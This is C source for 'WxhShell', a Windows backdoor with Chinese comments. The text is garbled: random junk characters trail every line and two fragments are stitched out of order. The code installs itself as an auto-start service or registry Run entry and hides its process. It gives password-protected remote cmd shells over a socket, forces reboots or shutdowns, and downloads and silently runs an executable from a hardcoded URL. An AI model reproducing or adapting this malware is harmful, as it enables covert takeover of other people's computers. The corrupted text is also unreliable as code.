    if(Boot(SHUTDOWN)) m@  b~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EdxTaR  
    else { zS*GYE(l^  
    closesocket(wsh); (wLzkV/6  
    ExitThread(0); }<`Mn34@  
    } Wo=Q7~  
    break; Rr+Y::E  
    } KY$6=/?U_  
  // 获取shell fOtin[|}6@  
  case 's': { ~_=ohb{  
    CmdShell(wsh); >v^Bn|_/  
    closesocket(wsh); j.OPDe{LU  
    ExitThread(0); Cc^`M9dP  
    break; oW3{&vfz  
  } 9NvV{WI-1  
  // 退出 4jEPh{q  
  case 'x': { N6H/J_:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); NFTEp0eP  
    CloseIt(wsh); :9!? ${4R  
    break; ]p>6r*/nw  
    } 6'd=% V  
  // 离开 R4=n">>Q  
  case 'q': { i_T8Bfd:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); "2:]9j  
    closesocket(wsh); VKRj 1LXz  
    WSACleanup(); kK+ <n8R2  
    exit(1); h7mJXS)t|  
    break; bAv>?Xqa  
        } (@Q@B%!!K  
  } 3#vhQ*xU  
  } fhlhlOg  
H@Dj$U  
  // 提示信息 ;,GE!9HW  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \2,7fy'  
} uTY5.8  
  } Y%OE1F$6NN  
TGx:#x*k  
  return; |pk1pV |  
} D(6d#c  
]l.y/pRP5[  
// shell模块句柄 :=x-b3U  
int CmdShell(SOCKET sock) =BW>jD  
{ l(|@ dp  
STARTUPINFO si; [H$37Hx !  
ZeroMemory(&si,sizeof(si)); OpeK-K  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _ Js & _d  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ka3Jqy4[  
PROCESS_INFORMATION ProcessInfo; sS#Lnj^`%  
char cmdline[]="cmd"; ;\yY*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); > E;`;b  
  return 0; Wi]Mp7b  
} ]0<T,m Z  
sLh9= Kh`  
// 自身启动模式 BhC.#u/   
int StartFromService(void) ++ !BSQ e  
{ )HWf`;VQ  
typedef struct @mM'V5_#  
{ ek6PMZF:'  
  DWORD ExitStatus; 8*y hx  
  DWORD PebBaseAddress; _:F0>=$  
  DWORD AffinityMask; [U[saR\  
  DWORD BasePriority; #x Z7%    
  ULONG UniqueProcessId; 'ms&ty*T  
  ULONG InheritedFromUniqueProcessId; Dl hb'*@  
}   PROCESS_BASIC_INFORMATION; f%ude@E3  
2VaQxctk  
PROCNTQSIP NtQueryInformationProcess; =y.!Ny5A  
y)N57#e  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; o#Q0J17i?  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; V~p/P  
|~vo  
  HANDLE             hProcess; hhQLld4  
  PROCESS_BASIC_INFORMATION pbi; 6FuZMasr*  
N3 qtq9{  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;A)w:"m  
  if(NULL == hInst ) return 0; p<IMWe'tP  
Om`VQ?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); S(xlN 7=  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +$R4'{9q  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); t.Hte/,k  
{w*5uI%%e  
  if (!NtQueryInformationProcess) return 0; R/ 5aIh  
/ *=1hF  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); gB1w,96J  
  if(!hProcess) return 0; Lk{ES$  
pj?wQ'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; z^s/7Va[  
J WaI[n}  
  CloseHandle(hProcess); u2crL5^z2)  
sCG[gshq  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5*QNE!  
if(hProcess==NULL) return 0; w yi n  
YB{hQ<W  
HMODULE hMod;  a~>.  
char procName[255]; rMkoE7n  
unsigned long cbNeeded; !#P|2>>u  
63R?=u@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); yxq+<A4,a  
2L}F=$zz  
  CloseHandle(hProcess); <:=}1t.Z  
!qe ,&JL  
if(strstr(procName,"services")) return 1; // 以服务启动 !.>TF+]  
Q _Yl:c  
  return 0; // 注册表启动 LPr34BK  
} R$qp3I  
D90m..\w  
// 主模块 =ZdP0l+V=k  
int StartWxhshell(LPSTR lpCmdLine) 3 D<s #  
{ _ZUtQ49  
  SOCKET wsl; *h59Vaoc  
BOOL val=TRUE; IK~'ke  
  int port=0; !bEy~.  
  struct sockaddr_in door; a(>oQG8F  
-90qG"@  
  if(wscfg.ws_autoins) Install(); I75>$"$<  
*N5cC#5`=  
port=atoi(lpCmdLine); w\wS?E4G  
[K_v,m]   
if(port<=0) port=wscfg.ws_port; (6##\}L&9  
<)01]lKH  
  WSADATA data; *xY}?vSs  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %-C   
pRS+vV3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @ 63Uk2{W>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); OhUEp g[  
  door.sin_family = AF_INET; aKi&2>c5>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9I3vW]0x[  
  door.sin_port = htons(port); ,S.<qmf  
$ {29[hO  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |ymw])L  
closesocket(wsl); k e$g[g  
return 1; t[>y=89  
} 1+`Bli]dE  
fZM)>  
  if(listen(wsl,2) == INVALID_SOCKET) { |l5ol @2*  
closesocket(wsl); W$_}lE$  
return 1; <Z^P8nu  
} [,;h1m ~iX  
  Wxhshell(wsl); fB .xjp?  
  WSACleanup(); ~zdHJ8tYp  
$$my,:nH  
return 0; <_X`D4g]XO  
!V|%n(O"  
} FdrH,  
5}J|YKyP  
// 以NT服务方式启动 Aj| Gqw>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) g5THkxp  
{ U;%I" p`Z/  
DWORD   status = 0; \^=Wp'5R  
  DWORD   specificError = 0xfffffff; or2BG&W  
X~ca8!Dq  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 3=r#=u5z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4dv5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ){ywk  
  serviceStatus.dwWin32ExitCode     = 0; $nX4!X  
  serviceStatus.dwServiceSpecificExitCode = 0; SRL`!  
  serviceStatus.dwCheckPoint       = 0; sfLH[Q?  
  serviceStatus.dwWaitHint       = 0; 3awh>1N2 W  
jkz .qo-%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +C`h*%BW  
  if (hServiceStatusHandle==0) return; Grot3a  
:-Gf GL>]  
status = GetLastError(); a;},y|'E  
  if (status!=NO_ERROR) 879x(JII  
{ ^.']-XjC  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :Bk!YK  
    serviceStatus.dwCheckPoint       = 0; v.eNWp  
    serviceStatus.dwWaitHint       = 0; G-5wv  
    serviceStatus.dwWin32ExitCode     = status; %Pl 7FHfB  
    serviceStatus.dwServiceSpecificExitCode = specificError; h!c6]D4!L  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); w.tQ)x1h  
    return; 2L=+z1%I  
  } 6O|B'?]Pf  
hN(sz  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; d=?Kk4Ag  
  serviceStatus.dwCheckPoint       = 0;  p1zT]  
  serviceStatus.dwWaitHint       = 0; GtYtB2U  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); AGxtmBB;  
} Y\CR*om!W  
`gI`Cq4  
// 处理NT服务事件,比如:启动、停止 <Q-Y$ ^\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *{3&?pxx  
{ ;W ZA  
switch(fdwControl) +f#o ij  
{ ,mpvGvAI  
case SERVICE_CONTROL_STOP: =P* YwLb  
  serviceStatus.dwWin32ExitCode = 0; bf~gWzA  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; m(~5X0  
  serviceStatus.dwCheckPoint   = 0; \W"N{N  
  serviceStatus.dwWaitHint     = 0; qs$%/  
  { < 0S+[7S"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); jt({@;sU[<  
  } q(tdBd'o6  
  return; () l#}H`m  
case SERVICE_CONTROL_PAUSE: \>8r)xC  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .#py5&`%  
  break; YX||\  
case SERVICE_CONTROL_CONTINUE: n veHLHvC7  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .=y-T=}  
  break; e1*<9&S  
case SERVICE_CONTROL_INTERROGATE: o6{[7jI  
  break; Mi|PhDXMh  
}; >]6 inS9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;.%Ii w&WG  
} 1J(` kQ)c  
MS`wd  
// 标准应用程序主函数 >Ln/)j  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?]JTrv"zp  
{ [^iQE  
6\8 lx|w  
// 获取操作系统版本 s)?=4zJ  
OsIsNt=GetOsVer(); J;?#Zt]`L  
GetModuleFileName(NULL,ExeFile,MAX_PATH); <r[5 S5y  
[&6VI?  
  // 从命令行安装 *} yOL [  
  if(strpbrk(lpCmdLine,"iI")) Install(); :n1^Xw0q  
?Hb5<,1u3  
  // 下载执行文件 p&Os5zw;|  
if(wscfg.ws_downexe) { D{%l 4og  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }3G`f> s  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]p,sve vo  
} ".n,R"EF  
UODbT&&  
if(!OsIsNt) { fpCkT[&m  
// 如果时win9x,隐藏进程并且设置为注册表启动 } Mh@%2$  
HideProc(); O<A$,<67  
StartWxhshell(lpCmdLine); Qktj  
} $d<vPpJ3  
else Ek0zFnb[Gx  
  if(StartFromService()) QKj8~l(  
  // 以服务方式启动 dNQR<v\IL  
  StartServiceCtrlDispatcher(DispatchTable); v'x)AbbC  
else ^lF'KW$  
  // 普通方式启动 s7x&x;-  
  StartWxhshell(lpCmdLine); 'X()|{  
f-w-K)y$ht  
return 0; XkG:1H;Q%  
} =qQH,{]c6  
?CaMn b8  
 ,\HZIl[8  
J$9`[^pV  
=========================================== PS" ,  
7~gIOu  
&rdz({  
v#. %eF m  
4G:?U6  
J%_m`?  
" "OIra2O  
||M;[-JoJ  
#include <stdio.h> }8H_^G8  
#include <string.h> /dT7:x*  
#include <windows.h> n^HKf^]  
#include <winsock2.h> |4=Du-e  
#include <winsvc.h> h92'~X36  
#include <urlmon.h> ;IN!H@bq  
#84<aM  
#pragma comment (lib, "Ws2_32.lib") F&ud|X=m  
#pragma comment (lib, "urlmon.lib") -r.Qy(}p  
.7h:/d Y:  
#define MAX_USER   100 // 最大客户端连接数 7Ya4>*B  
#define BUF_SOCK   200 // sock buffer Ya%-/u  
#define KEY_BUFF   255 // 输入 buffer 3WOm`<  
: h"Bf@3  
#define REBOOT     0   // 重启 {8!\aYI  
#define SHUTDOWN   1   // 关机 W@X/Z8.(  
v;S_7#  
#define DEF_PORT   5000 // 监听端口 q%G"P*g$(  
t`b!3U>I  
#define REG_LEN     16   // 注册表键长度 .ZV-]jgr  
#define SVC_LEN     80   // NT服务名长度 AW;ncx;  
=Nyq1~   
// 从dll定义API j_3X 1w)k  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~,*=j~#h  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {S+  $C  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2X:OS/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); V^v?;f?  
.(RX;.lw  
// wxhshell配置信息 RDX$Wy$@L  
struct WSCFG { B+8lp4V9%  
  int ws_port;         // 监听端口 <)f1skJsP  
  char ws_passstr[REG_LEN]; // 口令 8ZnHp~  
  int ws_autoins;       // 安装标记, 1=yes 0=no nfL-E:n=  
  char ws_regname[REG_LEN]; // 注册表键名 *OX;ZQg0  
  char ws_svcname[REG_LEN]; // 服务名 "@P)  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 PVNDvUce  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 EFd9n  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !CnkG<5z>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1FkS$ j8:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" e-4 Qw #cw  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 c.<bz  
l r16*2.  
}; G_5uO58  
^lI>&I&1  
// default Wxhshell configuration }K rQPg  
struct WSCFG wscfg={DEF_PORT, ,Q7W))j  
    "xuhuanlingzhe", 5a0&LNm  
    1, KOYU'hw  
    "Wxhshell", p3Ey[kURp  
    "Wxhshell", z2/E?$(  
            "WxhShell Service", V2v}F=  
    "Wrsky Windows CmdShell Service", ?}mbp4+j[  
    "Please Input Your Password: ", lRy^Wp  
  1, /=+y[y3`  
  "http://www.wrsky.com/wxhshell.exe", 53g(:eB  
  "Wxhshell.exe" ` oPUf!  
    }; %^zGM^PD  
IP#?$X  
// 消息定义模块 u0s25JY.%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,MmX(O0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; v` G[6Z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ees^j4  
char *msg_ws_ext="\n\rExit."; w~}*MsB  
char *msg_ws_end="\n\rQuit."; 9fj8r3 F#  
char *msg_ws_boot="\n\rReboot..."; eeOE\  
char *msg_ws_poff="\n\rShutdown..."; 0@BhRf5  
char *msg_ws_down="\n\rSave to "; )0tq&  
w1N-`S:  
char *msg_ws_err="\n\rErr!"; (8XP7c]5  
char *msg_ws_ok="\n\rOK!"; 54^2=bp  
OG!+p}yD]  
char ExeFile[MAX_PATH]; %UO ;!&K  
int nUser = 0; 0q !  
HANDLE handles[MAX_USER]; ?'jRUfl   
int OsIsNt; s)eU^4m  
UtpK"U$XOU  
SERVICE_STATUS       serviceStatus; R9-Ps qmF  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]:K[{3iM  
v 7g?  
// 函数声明 DJ]GM|?  
int Install(void); 5N5Deb#V  
int Uninstall(void); #rps2nf.j  
int DownloadFile(char *sURL, SOCKET wsh); v}>5!*  
int Boot(int flag); 0v"h /  
void HideProc(void); [VL+X^  
int GetOsVer(void); 5GHW~q!Zo\  
int Wxhshell(SOCKET wsl); FN>ns,  
void TalkWithClient(void *cs); usFhcU  
int CmdShell(SOCKET sock); 2Nau]y]=  
int StartFromService(void); B]_NI=d  
int StartWxhshell(LPSTR lpCmdLine); Gc1!')g!  
MODi:jsl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); DO5H(a  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); dyyGt }}5f  
k~|5TO  
// 数据结构和表定义 /Y7Yy jMi  
SERVICE_TABLE_ENTRY DispatchTable[] = ~4}'R_  
{ 8b!-2d:*  
{wscfg.ws_svcname, NTServiceMain}, f:!b0j  
{NULL, NULL} U~nW>WJ+.  
}; 2Jl$/W 3  
EPn0ZwnS:M  
// 自我安装 Ra~|;( %d  
int Install(void) {~=Z%Cj2Q  
{ BT3X7Cx  
  char svExeFile[MAX_PATH]; (G#QRSXc\  
  HKEY key; s2N~p^  
  strcpy(svExeFile,ExeFile); \c .^^8r  
$HE ?B{  
// 如果是win9x系统,修改注册表设为自启动 %1jlXa  
if(!OsIsNt) { gA/8Df\G:l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9NPOdt:@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^5,B6  
  RegCloseKey(key); Mu>WS)1lS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2 yY.rs  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0;6 ^fiSY;  
  RegCloseKey(key); uY"Bgz:=d  
  return 0; FKVf_Ncf%  
    } A2xfNY<  
  } 1#OM~v6B  
} 7hLdCSX  
else { &.4m(ZX  
iAd3w6  
// 如果是NT以上系统,安装为系统服务 u@ psVt   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); s${|A =  
if (schSCManager!=0) Scfk] DT  
{ 6Y 4I $[  
  SC_HANDLE schService = CreateService k >aWI  
  ( o$[alh;c+W  
  schSCManager, t(sQw '>  
  wscfg.ws_svcname, '_`O&rbT  
  wscfg.ws_svcdisp, &|j^?ro6  
  SERVICE_ALL_ACCESS, tXu_o6]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -sqoE*K[8  
  SERVICE_AUTO_START, UwQyAD]Ht  
  SERVICE_ERROR_NORMAL, jy kY8;4  
  svExeFile, 8t$w/#'@  
  NULL, qEW3k),  
  NULL, :~gG]|F  
  NULL, E5EAk6  
  NULL, q n2X._`  
  NULL ^CtA@4  
  ); 6%8,OOS  
  if (schService!=0) B+w< 0No  
  { b+DBz}L4  
  CloseServiceHandle(schService); `N,q~@gL  
  CloseServiceHandle(schSCManager); 1TIP23:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); d#OE) ,`  
  strcat(svExeFile,wscfg.ws_svcname); d_r1 }+ao  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,FP<# 0F*a  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,vE)/{:d  
  RegCloseKey(key); <T0+-]i  
  return 0; `dpm{s n  
    } U`HSq=J  
  } :t#N.[=&#  
  CloseServiceHandle(schSCManager); 0**.:K<i  
} \A'tV/YAd  
} D$OUy}[2`.  
8E:d!?<^&I  
return 1; {YoK63b$  
} q=+AN</  
\as^z!<  
// 自我卸载 'GJ'Vli  
int Uninstall(void) pk&;5|cCD  
{ i[\`]C{gf  
  HKEY key; $^XCI%DH  
{G^f/%  
if(!OsIsNt) { 3 %'Y):  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &|8R4l C|  
  RegDeleteValue(key,wscfg.ws_regname); )?zlhsu}1;  
  RegCloseKey(key); <Jwx|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >I^_kBa  
  RegDeleteValue(key,wscfg.ws_regname); =SEgv;#KZ~  
  RegCloseKey(key); mO1r~-~AJ  
  return 0; {;T7Kg.C  
  } ~$ FgiW  
} UOwEA9q%  
} E2Jmo5yJR  
else { S~+er{,ht4  
|_ u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); TTSyDl  
if (schSCManager!=0) 1[&V6=n  
{ }kK6"]Tj  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); W? ^ ?Kx  
  if (schService!=0) 2U Q&n`A  
  { i;GF/pi  
  if(DeleteService(schService)!=0) { %Uz 5Ve  
  CloseServiceHandle(schService); c'gV  
  CloseServiceHandle(schSCManager); Z<2j#rd  
  return 0; 3{j&J-  
  } )^^Eh=Kbj  
  CloseServiceHandle(schService); $afE= qC*  
  } E/6@>.T?'  
  CloseServiceHandle(schSCManager); q]qKU`m!Q`  
} {|Pg]#Wi&  
} \F }s"#  
+ yF._Ie=  
return 1; QwaAGUA  
} U/|;u;H=  
%JsCw8C6?  
// 从指定url下载文件 MS~|F^g  
int DownloadFile(char *sURL, SOCKET wsh) %9qG|A,cA  
{ F6$QEiDu@  
  HRESULT hr; A3Lfh6O  
char seps[]= "/"; jZ5 mpYUO  
char *token; K\2UwX  
char *file; ;:/<XfZ  
char myURL[MAX_PATH]; !pMp n%r<]  
char myFILE[MAX_PATH]; k ='c*`IE  
2 u{"R  
strcpy(myURL,sURL); [!k#au+#c  
  token=strtok(myURL,seps); 4-wCk=I  
  while(token!=NULL) 5jb/[i^V  
  { "iC*Eoz#.  
    file=token; j18qY4Gw)  
  token=strtok(NULL,seps); \`!M5FJ  
  } >n^| eAH  
;Wws;.~  
GetCurrentDirectory(MAX_PATH,myFILE); F.%g_Xvk:  
strcat(myFILE, "\\"); =%\y E0#  
strcat(myFILE, file); !4blX'<w  
  send(wsh,myFILE,strlen(myFILE),0); i3s,C;7[2  
send(wsh,"...",3,0); L#|, _j=9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _?+gfi+  
  if(hr==S_OK) 4 )U,A~ !  
return 0; 0bt"U=x4  
else Y\sSW0ZX  
return 1; mg)ZoC  
I\|x0D  
} n> >!dg Og  
wy1xZQ<5  
// 系统电源模块 X4D>  
int Boot(int flag) 8!T6N2O6d  
{ aUBGp: (  
  HANDLE hToken; f.~-31  
  TOKEN_PRIVILEGES tkp; wj'5D0   
tsLi5;KA]  
  if(OsIsNt) { _^;;vR%   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \U0p?wdr:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *_aeK~du.  
    tkp.PrivilegeCount = 1; x2KIGG ^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;Rz+4<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ZMI!Sl  
if(flag==REBOOT) { 9AxeA2/X  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) KqE5{ q  
  return 0; BJ]4j-^o  
} :JEzfI1  
else { b&i0)/;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) nVp*u9]  
  return 0; ')8c  
} i r-= @@  
  } Rqk;!N  
  else { S S/9fT"[  
if(flag==REBOOT) { )Hp{8c  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6^Q Bol  
  return 0; '}Tf9L%  
} POl[]ni=>  
else { $Eo)i  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !D_Qat  
  return 0; C|@6rr9TA  
} "8'aZ.P  
} %s^2m"ca}=  
~; emUU  
return 1; \G!TC{6  
} "'@iDq%y  
Q}A*{9#|  
// win9x进程隐藏模块 \UD:9g"  
void HideProc(void) Yb~[XS |p  
{ /hojm6MM  
>sUavvJ~x  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +~E;x1&'  
  if ( hKernel != NULL ) p\7(`0?8VN  
  { *G<K@k  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); S:*.,zC  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); AWY#t&  
    FreeLibrary(hKernel); Gs2| #*6  
  } nO'lN<L  
s Y^#I  
return; f:=y)+@1My  
} 6eUM[C.  
{GTOHJ2  
// 获取操作系统版本 E>bK-jG  
int GetOsVer(void) bpQ5B'9  
{ r&u&$ "c  
  OSVERSIONINFO winfo; }bW"Z2^nB  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !c;Z<@  
  GetVersionEx(&winfo); nkv+O$LXP  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) dK5|tWJX  
  return 1; Q :<&<i=I  
  else kb27$4mm  
  return 0; $rb #k{  
} ?8g*"& cn  
:U,n[.$5'  
// 客户端句柄模块 )&Bf%1>  
int Wxhshell(SOCKET wsl) N,iYUM?  
{ cVx#dDdA  
  SOCKET wsh; pCE,l'Xa  
  struct sockaddr_in client; &.> 2@  
  DWORD myID; aSKLSl't`  
s$V'|Pt  
  while(nUser<MAX_USER)  8>}k5Qu  
{ 'Mfn:n+  
  int nSize=sizeof(client); x*Lm{c5+  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); u~WE} VC  
  if(wsh==INVALID_SOCKET) return 1; Ik4FVL8~  
hzT,0<nw  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1Q&\y)@bT  
if(handles[nUser]==0) ;^Q - 1  
  closesocket(wsh); $50/wb6s  
else Gk!06   
  nUser++; $P9'"a)Lm  
  } yX^/Oc@j  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Rh[%UNl  
_y,? Cj=u|  
  return 0; s/;iZiWK  
} 8f\sG:$  
+A 4};]W|  
// 关闭 socket @w%{yzr%  
void CloseIt(SOCKET wsh) b,Z\{M:f;F  
{ Kzj9!'0R  
closesocket(wsh); lK}W%hzU  
nUser--; Z{9 mZ lIy  
ExitThread(0); h!vq~g  
} *8ZaG]L  
e^N6h3WF  
// 客户端请求句柄 cgQ4JY/6  
void TalkWithClient(void *cs) N8]DW_bsB  
{ kM#ZpI&0%  
`t@Rh~B  
  SOCKET wsh=(SOCKET)cs; Pjs L{,  
  char pwd[SVC_LEN]; bJ~@ k,'  
  char cmd[KEY_BUFF]; MJ=(rp=YU9  
char chr[1]; ]M:=\h,t>  
int i,j; Sk ~( t  
0Gq}x;8H&  
  while (nUser < MAX_USER) { 'b?Px}  
(M>[D!Yt  
if(wscfg.ws_passstr) { B 66-l!xa  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -f{NVX\<0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~ AU!Gm.  
  //ZeroMemory(pwd,KEY_BUFF); }i)^?@  
      i=0; 4Jf6uhaE  
  while(i<SVC_LEN) { 4iDlBs+  
>~nc7j u  
  // 设置超时 d0b`qk @4  
  fd_set FdRead; gcaXN6C  
  struct timeval TimeOut; ckglDhC  
  FD_ZERO(&FdRead); )L,.K O  
  FD_SET(wsh,&FdRead); 5._=m"Pl  
  TimeOut.tv_sec=8; Za*QX|  
  TimeOut.tv_usec=0; P5qY|_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); q|;Sn  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); M%\=Fb  
12Lc$\3P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I6jDRC0<  
  pwd=chr[0]; ?3I93Bt7  
  if(chr[0]==0xd || chr[0]==0xa) { F!LVyY"w  
  pwd=0; 3I" <\M4x  
  break; yY 3Mv/R  
  } 6r|BiHP  
  i++; =GP~h*5es  
    } NoR=:Q 9e  
~h:/9q  
  // 如果是非法用户,关闭 socket 2I8 RO\zR  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); I3#h  
} J Uf{;nt  
q=_&izmE'7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); B.J_(V+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lT<4c5 %  
Zi!6dl ev  
while(1) { JdP[ cN  
zFR=inI  
  ZeroMemory(cmd,KEY_BUFF); -C>q,mDJZ  
)\!-n]+A  
      // 自动支持客户端 telnet标准   na%DF@Rt#  
  j=0; !6yyX}%o  
  while(j<KEY_BUFF) { wva| TZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5ree3 quh  
  cmd[j]=chr[0]; .y)Y20=o!  
  if(chr[0]==0xa || chr[0]==0xd) { XDot3)2`  
  cmd[j]=0; "!fvEE  
  break; Qd{h3K^hlu  
  } TB8a#bK4  
  j++; Q9[$ 8  
    } .5t|FJ]`$  
"G(^v?x:P  
  // 下载文件 8|*=p4_fn  
  if(strstr(cmd,"http://")) { !,I530eh7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); aDae0$lc.S  
  if(DownloadFile(cmd,wsh)) P ]prrKZe,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); f`[gRcZ-  
  else AXQG  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XW^Sw;[efZ  
  } U,Duq^l~s  
  else { -9L [eYn  
